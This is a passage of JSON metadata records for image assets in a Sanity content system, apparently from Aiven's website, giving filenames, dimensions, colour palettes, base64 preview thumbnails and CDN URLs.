"foreground":"#fff","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#724f26","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ddbf9b","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847864","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#845c2c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-joins.png","path":"images/sczeoy4w/production/30e57c84b8b697348f740063bc132b071d136c96-3200x2040.png","sha1hash":"30e57c84b8b697348f740063bc132b071d136c96","size":256306,"uploadId":"qGF3XUAgvSxkh0klV46nIlr50xPdJRu9","url":"https://cdn.sanity.io/images/sczeoy4w/production/30e57c84b8b697348f740063bc132b071d136c96-3200x2040.png"} {"_createdAt":"2022-06-15T20:02:44Z","_id":"image-30ef714d4ae155141642d581ba07e9c949452ccd-2500x1308-jpg","_rev":"cEPH2uRN58AU2lp9QO8Jcf","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:52Z","assetId":"30ef714d4ae155141642d581ba07e9c949452ccd","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPQcM4*0s:D%_3K8RiV@t7t7_3D$WV%2Io","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAQj/xAAkEAACAQMDAwUAAAAAAAAAAAABAgMABBEFBhMhMUESFCJRcf/EABYBAQEBAAAAAAAAAAAAAAAAAAMBAv/EABkRAAIDAQAAAAAAAAAAAAAAAAECAAMREv/aAAwDAQACEQMRAD8A6Bks7v3zSrfyCP1Z4/H5U/vrXbrTZYBBzsuD0iGSW8ZqyRRyydB3rJoo3kQtGjEfYBobLWAOR0rGxbtC+vb/AEOG4vUeKZyfi3cCinkCgJgAAZorKM3I0yuB0Z//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#504f50","foreground":"#fff","population":5.24,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be5e10","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#504f50","foreground":"#fff","population":5.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1c4b9","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc669c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c9484","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed951e","foreground":"#000","population":3.3,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"30ef714d4ae155141642d581ba07e9c949452ccd-2500x1308.jpg","path":"images/sczeoy4w/production/30ef714d4ae155141642d581ba07e9c949452ccd-2500x1308.jpg","sha1hash":"30ef714d4ae155141642d581ba07e9c949452ccd","size":395343,"uploadId":"n9QIjKBHjeOuCgvRU6LtHhzxoQ9IAdLb","url":"https://cdn.sanity.io/images/sczeoy4w/production/30ef714d4ae155141642d581ba07e9c949452ccd-2500x1308.jpg"} {"_createdAt":"2022-09-30T15:36:43Z","_id":"image-311848e801bc59fd339e29b39fefa575c6a1e5a5-596x254-png","_rev":"8WeirZ6KB9gJqgJfvjVEyT","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:32Z","assetId":"311848e801bc59fd339e29b39fefa575c6a1e5a5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGRVOe5US~=X^+-pxVWTRPR+ysxDrqT0M|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3464566929133857,"height":254,"width":596},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAA7DAAAOwwHHb6hkAAABvUlEQVQYlR3Nz2/SUADA8f67JrqLd112MiaeNGQhkXjQuMGAAcpEOhywAaX8pn2jtIW2r+0rHR399foeOxlIvtdPvszz0zaAQ1/MOKNzJN17yPLdJ9+xA1sPLT201qGpRlCJzGUMl7GpYFuNHQ1vdLzRmB2SI5DW2de1b6/+5lOqMNlZVgBX4XIQg04MHmKhiecNPGPxvJGId4n0gA0hQavEWTMBHESjU1B9e5H58D1zPmiwW1mODCUS23j4Cw/KSb+YcFcJlyd8gfRzZFAkj00CQeKoTGCL4Tyltj+xf64qpcqk3fJWSmQqsdgi/QLp5Uj3gnR+kl6Wclna+UG5Swr+EVMkjsIEruVrXX1catbL5esSf99ydTWyDjjhi0kvS3qXhMtRvkD5/MGPK1TlqS1RtGQCd7PV1dEd+zX15fTd+0w6vZhNfKg8g+52WPOGN9G0ToRbKjaocEuFOpU71BT3aLlHEhNukKcq3Zvqx7Ozkzcnqc8pYTz14NqV5xbgEeB36hQbIjEBhSKFArUe90h6caSXI7ZCU4Ng1qpVf18XxhyHtJVva4Gp+IbkG4vQlLAtUyTT423vHOWhxX95qJCEfcIUxQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#514234","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#805904","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dbc9b3","foreground":"#000","population":4.58,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbc9b3","foreground":"#000","population":4.58,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fae18f","foreground":"#000","population":0.2,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#966659","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b41f","foreground":"#000","population":2.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"311848e801bc59fd339e29b39fefa575c6a1e5a5-596x254.png","path":"images/sczeoy4w/production/311848e801bc59fd339e29b39fefa575c6a1e5a5-596x254.png","sha1hash":"311848e801bc59fd339e29b39fefa575c6a1e5a5","size":62886,"uploadId":"ohvMJx9pcxmEIMrNPJSvvQyK2lVWEMSX","url":"https://cdn.sanity.io/images/sczeoy4w/production/311848e801bc59fd339e29b39fefa575c6a1e5a5-596x254.png"} {"_createdAt":"2022-06-30T20:09:58Z","_id":"image-3123b663151c4f4ceeb510c26c40853b189f5ee1-1440x684-png","_rev":"XMqVxILwpPMz4xYxc7p4nK","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:35:47Z","assetId":"3123b663151c4f4ceeb510c26c40853b189f5ee1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6S?AN-pQn?HH=~pQ-RjMdjYVsRjR5X7Vt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1052631578947367,"height":684,"width":1440},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABM0lEQVQokY2SS0/EMAyE8///GTckLhzR7hYJSnfVdOM87HSQ0zpUaJE4jJLm8WU8rqPLCV/DgHEccbvdQESotWJd13+p1orCjJwzmBmOhjP8MGCZJlAIKKV0oI4qqQKRXe17W+/7Ig2mUJfPJ5TzCXK9QkrumyqdZ84IKSBSQKKIlFJ3YzDZ78QY4ep0RZ1nrClh3Tf1gl2KHLHQjOBnRL8gEjXo9mBto1alakCmCCncM1HgdmB3UAWFMzgnSMoQdSbSy2Xe3DUgEdzR/naAm4Njlk06Nx0awg2m+RXc73cFltal30B96JiPlWXS9Z+GSFvz3sNZHo+A1hzL1HQENqgCA8F/jjtQpJfxF9BiMJDFoL8Qp4z8/oHl5RXO3B0z0W6Zc+ue6lGuDRgT0tsFy9MzvgEzoRAmiBUWigAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#60615f","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d0724","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f22759","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d09ea4","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7cac","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6646d","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f22759","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3123b663151c4f4ceeb510c26c40853b189f5ee1-1440x684.png","path":"images/sczeoy4w/production/3123b663151c4f4ceeb510c26c40853b189f5ee1-1440x684.png","sha1hash":"3123b663151c4f4ceeb510c26c40853b189f5ee1","size":81769,"uploadId":"WtzsJnF9b2Pg1Gtlt4pSiZ7aFlCvvBmi","url":"https://cdn.sanity.io/images/sczeoy4w/production/3123b663151c4f4ceeb510c26c40853b189f5ee1-1440x684.png"} {"_createdAt":"2023-11-21T13:32:50Z","_id":"image-314defd03b940a7b1f0114646dfa59a80cee86c2-1200x628-png","_rev":"00HkATqwml6aoQnrO0N3DW","_type":"sanity.imageAsset","_updatedAt":"2023-11-21T13:32:50Z","assetId":"314defd03b940a7b1f0114646dfa59a80cee86c2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M98qakRKj^oa00jvR%fQoeRj00j=j[a$~q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACU0lEQVQokW3S20/SAQDF8f4BBVHu9x93BMWUlvdkzVjOZYAaAyUXFhjOwXSKF5w5LTWVFEhXbq7Vg8vViy891tZ76x/6NtBlzv6Bz87ZOTeqpA+plgWoloUQKR4hVkaRqB9Tq4lTp0sgM0wiN6ZRmGZQmrOorUto7C/QOdcxuLYwuHcxNuxhbCggNBa5cY6dgxJVGK0ljtE5gVJIINUlr4AqcxaVZQm9cxVv9x49fe9w3S5idP8HFMlDmJzjBMMbPEmWaPPlUJpSSPWpS9CSRWlZwtmyQTz1mfmVb/j6j68nrJIGECsG8XakWVz5RL5wxtDIG/T2Kep0KVTmDBrbLGrrPBpbji5/gZ3Cdz6e/CKW+IrDW7oKihUhdJYY3b1Z4hNFUpkjBoa3cd+aQ2tLo7XNYHCWsQW09mV6HxxQOPzJyZffJDNnuFsPMLgvwPIoKiFCz71ZImPbRMZ2GR3fJ/a0xMDwLjfblyug2jKL1raAuXG1knB68YyN/A8i8VM8HYeYPMVLUGuO4vPPEQy/pD+0RiC8xVA0z/3AFk1tOTTWaeTCNDrHIk3tm/j6SgSjH4glTgmNntDpP8bufVupXQElqkE05lGMjjgGxzNM9c8xu6cQ6tNorGkUQgaFMFOp7GhZo7lrB++dfVrvHtDpP8Lb8x5b8wX4721E8mHEygg1qhiS8g+1iWsrl0cp38bgeoXQ8BqTJ4/Js1+p+3cUkTyISDFIjTKMRD1CrWaMOt04Mn0SuXEShZBGaS6D86itucqxtY519PWbGFw7ldsIjeej/AHVV3MwJc+BQwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344467","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0980","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":12.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94bd","foreground":"#fff","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7377c8","foreground":"#fff","population":0.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d7295","foreground":"#fff","population":0.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":12.98,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven x EverSQL social media image dark blue v2.png","path":"images/sczeoy4w/production/314defd03b940a7b1f0114646dfa59a80cee86c2-1200x628.png","sha1hash":"314defd03b940a7b1f0114646dfa59a80cee86c2","size":81291,"uploadId":"SS4wJzb3OGUwzedOTo7jyyCCQOaDWGnr","url":"https://cdn.sanity.io/images/sczeoy4w/production/314defd03b940a7b1f0114646dfa59a80cee86c2-1200x628.png"} {"_createdAt":"2022-03-22T13:50:14Z","_id":"image-314efb7f56f06db39fd23ecc2d9b248560f77d37-1200x630-jpg","_rev":"fPSaui3CWkXGhqNMezk9Ww","_type":"sanity.imageAsset","_updatedAt":"2022-03-22T13:50:14Z","assetId":"314efb7f56f06db39fd23ecc2d9b248560f77d37","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ML6[tnNLWB$%E3kJkWa{jEXAEBn$ofS4xu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCAwYH/8QAIBAAAgICAgIDAAAAAAAAAAAAAQMCBAARITEFEhRBQv/EABYBAQEBAAAAAAAAAAAAAAAAAAIFBv/EABsRAAIDAQEBAAAAAAAAAAAAAAECAAMxERIE/9oADAMBAAIRAxEAPwDlNMIsKixt6CpH8kdZb4aHzLboy3JKwdT0dE5mWcaA6yde0+uCEOmsE8+p1vNdZbawK+tkCtEBDecjC3baiwxUomJidaOGLbLmPdJjZmcz2T94Yh9FnNhNKdyf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#43261d","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043583","foreground":"#fff","population":14.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#043583","foreground":"#fff","population":14.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#90a3c7","foreground":"#000","population":0.59,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cace4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#61799b","foreground":"#fff","population":1.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef7610","foreground":"#fff","population":1.56,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"open-graph-image.jpeg","path":"images/sczeoy4w/production/314efb7f56f06db39fd23ecc2d9b248560f77d37-1200x630.jpg","sha1hash":"314efb7f56f06db39fd23ecc2d9b248560f77d37","size":38130,"uploadId":"yqR58nVDI3taw2MN3RHydtaY6XDiz88L","url":"https://cdn.sanity.io/images/sczeoy4w/production/314efb7f56f06db39fd23ecc2d9b248560f77d37-1200x630.jpg"} {"_createdAt":"2024-02-22T18:58:46Z","_id":"image-31b568c7b5bfe3371eee35903adaba317f9bc573-1000x500-jpg","_rev":"YjVW2s1L51MKE6hnLGIPdx","_type":"sanity.imageAsset","_updatedAt":"2024-02-22T18:58:46Z","assetId":"31b568c7b5bfe3371eee35903adaba317f9bc573","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFB:d7DO_NIoxu9Ze-RjRjfkD$tSITNHoy","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2,"height":500,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAcBAgMF/8QAJRAAAgEDAgUFAAAAAAAAAAAAAQIDAAURBAYSExQhMSJhcZHw/8QAFQEBAQAAAAAAAAAAAAAAAAAABAP/xAAbEQACAgMBAAAAAAAAAAAAAAAAEQECEjEyQf/aAAwDAQACEQMRAD8AUN42q+3OmGoeOfmZUY7Yq9q2zPdLhGZphHpmIUrn1YrTbsj6q8nqnabh8cw8WPupv8jx7kkEbsgDJjhOMUeYV0I6oxnG06C0pHptP3QKD3/e1Fc24u5eElmJ5Q8n5oq8XhaD4L0//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e3a26","foreground":"#fff","population":6.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#702805","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4e3a26","foreground":"#fff","population":6.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7b2a6","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7c3a4","foreground":"#000","population":0.34,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b78c67","foreground":"#fff","population":0.9,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a75418","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Canoe East.jpeg","path":"images/sczeoy4w/production/31b568c7b5bfe3371eee35903adaba317f9bc573-1000x500.jpg","sha1hash":"31b568c7b5bfe3371eee35903adaba317f9bc573","size":145533,"uploadId":"y0GQJSYOIuockwBg1cfCgD98PygQjk9z","url":"https://cdn.sanity.io/images/sczeoy4w/production/31b568c7b5bfe3371eee35903adaba317f9bc573-1000x500.jpg"} {"_createdAt":"2022-06-14T14:41:04Z","_id":"image-36af546dc0e2817b42556c444f5f4f599e9c0ce5-280x280-jpg","_rev":"0HOthdQkSgJdYc0C9r2gP9","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:04Z","assetId":"36af546dc0e2817b42556c444f5f4f599e9c0ce5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQH27s00?vRjs-~Wj[R*%MRPxZoeNHofaeELj[smRjt7ofaye.WBWW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":280,"width":280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAYIAQMFB//EACcQAAEEAQMCBgMAAAAAAAAAAAEAAgMEEQUGIRITByMkMUGRQmFx/8QAFwEBAQEBAAAAAAAAAAAAAAAAAAECA//EABoRAQEAAgMAAAAAAAAAAAAAAAEAERICAxP/2gAMAwEAAhEDEQA/AM7mbM/b9ptScwS4z1tPOPlSfw0lrz6OxkEjpAwDJc7JJXgdrdE1zWnsM5bGx3ljPBC7+l7lnoX4LcE+H9xodGwYaR/FjzVzdTsATFZtkTekItNG0LFOGYe0jA77CJitTzammVtR3MKllhdEMgYOD9qa6JoNIXYsiR3re1y78URFdqcQ0rC1wI4WMZw1oAA/SIiVv//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#584039","foreground":"#fff","population":5.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67311d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccc0bb","foreground":"#000","population":5.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc0bb","foreground":"#000","population":5.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7bbab","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7a6d","foreground":"#fff","population":4.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c65e38","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-profile.jpg","path":"images/sczeoy4w/production/36af546dc0e2817b42556c444f5f4f599e9c0ce5-280x280.jpg","sha1hash":"36af546dc0e2817b42556c444f5f4f599e9c0ce5","size":14915,"uploadId":"Rdall4T8X7RRddMe90hVzE2M36BvuFQV","url":"https://cdn.sanity.io/images/sczeoy4w/production/36af546dc0e2817b42556c444f5f4f599e9c0ce5-280x280.jpg"} {"_createdAt":"2023-06-06T09:18:38Z","_id":"image-31c1999ee5790453dae3f2ac4656c375ea2fb30e-3000x660-png","_rev":"rV9BZDYEBgQp95tIyQYvKu","_type":"sanity.imageAsset","_updatedAt":"2023-06-06T10:02:51Z","altText":"RevRoad logo","assetId":"31c1999ee5790453dae3f2ac4656c375ea2fb30e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"Ds73ITysu5tmkCkCofkCj[j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.545454545454546,"height":660,"width":3000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABD0lEQVQYlS2MP0vDcBiEsznUSazamsZ7koaKLoKTFArdOlioVWzF/0VwEHVTdBAd/Cg6ODiIgnVyUASlm+hgCQREC/oZEvlhh+OOu/d9LPsuiBZb39HR+29cb3XCzMXLcX+hNJ117Io8Lw9kJQ0DNpCXNCepKMk3vf63tKScpLI1eBtE1eev6PDtJ661OqF99nA6MFVc8ZzMtlx3C1gD5oGKyZJ2gc1uNwPUgSVgFTiwEjftaOI+NNC48PgZJs+fTpKFUtlz7Jpc1xwtA7Pd56okAzIQ4wuS1oENoAHsWNbVR9Rz3Y6GmkGcagZh4vJ1v7ex5/nJvpSyvgf4gCMpIykNpIARIAeMShozAsaByT8Oxl1mk28MQgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242424","foreground":"#fff","population":9.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05b1da","foreground":"#fff","population":16.52,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#05b1da","foreground":"#fff","population":16.52,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f5369","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cb4cc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8cc4cc","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09b7f4","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"logo-rel-road.png","path":"images/sczeoy4w/production/31c1999ee5790453dae3f2ac4656c375ea2fb30e-3000x660.png","sha1hash":"31c1999ee5790453dae3f2ac4656c375ea2fb30e","size":46001,"title":null,"uploadId":"do9nsENNOf3NIzWRYC2NWR9OHSe5naUg","url":"https://cdn.sanity.io/images/sczeoy4w/production/31c1999ee5790453dae3f2ac4656c375ea2fb30e-3000x660.png"} {"_createdAt":"2024-04-16T10:13:21Z","_id":"image-31c3938506e48e7df1103af221711986352c8ae3-1200x630-png","_rev":"MEdkKSujm325ToO8bz0bVb","_type":"sanity.imageAsset","_updatedAt":"2024-04-16T10:15:05Z","altText":"Build to scale with Aiven, Bob and Francesco","assetId":"31c3938506e48e7df1103af221711986352c8ae3","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47BHc~GRh=_w@kutRRiIWS74.M{V?ItWA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACrUlEQVQokUWTa1MaZxiG9xe00yCwJ5Zlz8CWg64QS2zURE0Tp1OtY1KTOJPa1qiAiBIQkUWwVKeHD/3DVwfITD/c8848H+73uee5buGL2C6P5D2iiX1E/QBR/0BUO2Qu8StR7ZiYXieeOkc0W8jWFYpzM5VsdWeyr5GsDqJxSdxoIswpb7Cyh+RLVYJKk8LjJk6uTipdw/IvcAsdnHwXb76Pv3iHW7xD80Ik6wrJbP9varaJG5cIov6W0nKDF9/fsLUzZH1rQGWtR/lpj2/XR6x+98DyxgNPX/zFs61/Ka/+jeEPEM02ovkJxb5BdW9RnD6y3UOIa/uUlxu8/CHk1c6QZy9DFp908IMW+XKX4lKfXDkkvzSiWPmD7OIYzeshGi0ks0PCHaKlxyS8MVr6HiGivCZT/MjSyiWVtTZBpYX1dR3JOEYyqshmA8lsIlktZHsWb2IW0xvTV55s6NyS8H4nmfkT4StpD8f/mWCphr9Qxcgco7knqPYpil1H+myop1vYfhvd6yCbTUSjgWxeoNid6UeKE6J5YwQx+RObG1WODm/ZfNXFK9bxCmdkFy5x8y0Szszs+Xqfg72QjY0BftAjPd8lG4RkF0eYuRDV6aG6QwQltc/2VpV2/Y7dvQG50jl+0CRX+kRmvo3mNkllLtjdDulVx7x/c8/jlRHB8pDyyj3llX/IBGNUd4JPFyEm7xLk9tlcO6X05IxU+iOKdTSNrE4iG2fIZo38QoPnq23K31zjFq5wC9ekF0ZkggcMf4hsTbC5QIjEtrESO2S899j+b8jGIRHlAxH1lxnYyRrR5ClR7Yi4foKYOkM0zqdHUt0bEt5wisuEwUkBhC+jO0TiPxJTXhPT3hFRD3g0NfzclGRtqjntmKh2QlxvEE81Zww6fRRnMMVn0pLJ/D/6kIT/wYOYMQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252650","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142472","foreground":"#fff","population":12.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142472","foreground":"#fff","population":12.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8494c2","foreground":"#fff","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#757dc3","foreground":"#fff","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6755e","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2786","foreground":"#fff","population":8.22,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Aiven webinar May 2024","path":"images/sczeoy4w/production/31c3938506e48e7df1103af221711986352c8ae3-1200x630.png","sha1hash":"31c3938506e48e7df1103af221711986352c8ae3","size":204534,"title":"What's new with Aiven webinar May 2024","uploadId":"jsM6eDPcWjtOLof1BamS5Dpj9HSyiY4g","url":"https://cdn.sanity.io/images/sczeoy4w/production/31c3938506e48e7df1103af221711986352c8ae3-1200x630.png"} 